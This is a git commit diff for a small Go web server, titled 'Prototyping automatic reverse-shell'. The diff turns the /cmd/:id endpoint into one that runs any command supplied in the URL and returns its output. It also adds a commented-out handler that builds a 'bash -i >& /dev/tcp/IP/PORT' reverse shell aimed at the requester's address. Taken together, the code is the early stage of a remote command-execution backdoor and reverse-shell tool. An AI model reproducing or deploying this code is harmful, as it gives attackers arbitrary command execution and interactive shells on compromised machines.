Prototyping automatic reverse-shell
This commit is contained in:
parent
227f0c8343
commit
fd21e92866
32
main.go
32
main.go
|
@ -2,11 +2,9 @@ package main
|
|||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
|
||||
"github.com/bitfield/script"
|
||||
"github.com/gin-gonic/gin"
|
||||
"net/http"
|
||||
)
|
||||
|
||||
var listenPort string = "1302"
|
||||
|
@ -20,6 +18,7 @@ func main() {
|
|||
fmt.Println()
|
||||
router := gin.Default()
|
||||
router.GET("/cmd/:id", sendCommand)
|
||||
//router.GET("/rev/:port", sendShell)
|
||||
router.Run("localhost:" + listenPort)
|
||||
}
|
||||
|
||||
|
@ -28,14 +27,27 @@ func sendCommand(c *gin.Context) {
|
|||
cmd := c.Param("id")
|
||||
newCMD := Shell{}
|
||||
newCMD.Command = cmd
|
||||
newCMD.Output, err = script.ListFiles(".").String()
|
||||
newCMD.Output, err = script.Exec(cmd).String()
|
||||
if err != nil {
|
||||
log.Printf("Error occurred with command: %v\n", err)
|
||||
logged := fmt.Sprintf("Error occurred with command: %v\n", err)
|
||||
c.String(http.StatusOK, logged)
|
||||
return
|
||||
}
|
||||
c.String(http.StatusOK, newCMD.Output)
|
||||
// c.IndentedJSON(http.StatusOK, newCMD)
|
||||
// c.HTML(http.StatusOK, newCMD)
|
||||
|
||||
fmt.Printf("The command \"%s\" has been called\n", cmd)
|
||||
script.ListFiles(".").Stdout()
|
||||
}
|
||||
|
||||
// TODO: Get automatic reverse shells working
|
||||
|
||||
// func sendShell(c *gin.Context) {
|
||||
// port := c.Param("port")
|
||||
//
|
||||
// cool := c.RemoteIP()
|
||||
//
|
||||
// fmt.Println(cool, port)
|
||||
// finalShell := fmt.Sprintf("bash -i >& /dev/tcp/%v/%v 0>&1", cool, port)
|
||||
// msg, err := script.Exec(finalShell).String()
|
||||
// if err != nil {
|
||||
// fmt.Printf("Error occurred sending shell: %v\n", err)
|
||||
// }
|
||||
// c.String(http.StatusOK, msg)
|
||||
// }
|
||||
|
|
Loading…
Reference in New Issue